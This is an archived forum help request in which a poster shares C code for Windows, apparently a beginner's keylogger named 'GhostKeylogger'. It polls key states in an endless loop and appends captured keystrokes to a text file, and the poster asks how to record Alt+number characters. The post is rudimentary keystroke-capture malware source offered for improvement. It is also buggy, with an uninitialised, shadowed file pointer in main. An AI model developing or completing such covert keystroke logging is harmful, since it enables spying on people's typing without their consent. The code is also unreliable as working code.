Help. C/C++ Save Ascii Characters (Api Windows)

Hello!

I need to save in a file (txt) the characters ascii (for example "☺") when some press Alt+number.

I dont know how to do it. Ill searched in all the forums, i asked to all my teachers or people who knows and no one can solve this. Help!


Ok this is what i got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <windows.h>
#include <stdio.h>
#include <ctype.h>
#define VK_4 0x34
#define VK_1 0x31

void GhostKeylogger(FILE *txt);
byte teclas[256];
char teclasespeciales[32]; 

void GhostKeylogger(FILE *txt)
{
    for(int i=0; i<255; i++){
		
		/*	if(GetAsyncKeyState(i)==-32767){  
				
		    
            *teclasespeciales = 0;
            if(ToAscii(i, MapVirtualKey(i, 0), teclas, (LPWORD)teclasespeciales, 0) == 1)
            fprintf(txt, "[%c]", *teclasespeciales);
            else if(GetKeyNameText((MapVirtualKey(i, 0) << 16), teclasespeciales, 32) > 0)
            fprintf(txt, "[%s]", teclasespeciales); 
            
               }	*/
            if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
           		{
				if(GetAsyncKeyState(VK_CONTROL)&& GetAsyncKeyState(VK_MENU)&& GetAsyncKeyState(VK_4))
				 {
				 fprintf(txt,"~"); break;
				}}
				
/////////////////////////////IMAGINE SEPARATOR BAR////////////////////////////////////	
		
		   	if(GetAsyncKeyState(VK_MENU) && GetAsyncKeyState(VK_1))
		   	{
					fprintf(txt,"%c\t",0x01); //WHAT I HAVE TO DO HERE?
							
			}
////////////////////////////IMAGINE SEPARATOR BAR/////////////////////////////////////////
		 
	}
}

int main(){
	
	FILE *txt;
	 while(TRUE){   
       if(txt != NULL){
       FILE *txt = fopen("Experimento.txt", "a+");
       Sleep(30);/*to prevent high usage*/
       GhostKeylogger(txt);
       fclose(txt);
    }
   }
}





If you know some better way of coding ill change it. Please any info about how to save characters in FILES is welcome.
Topic archived. No new replies allowed.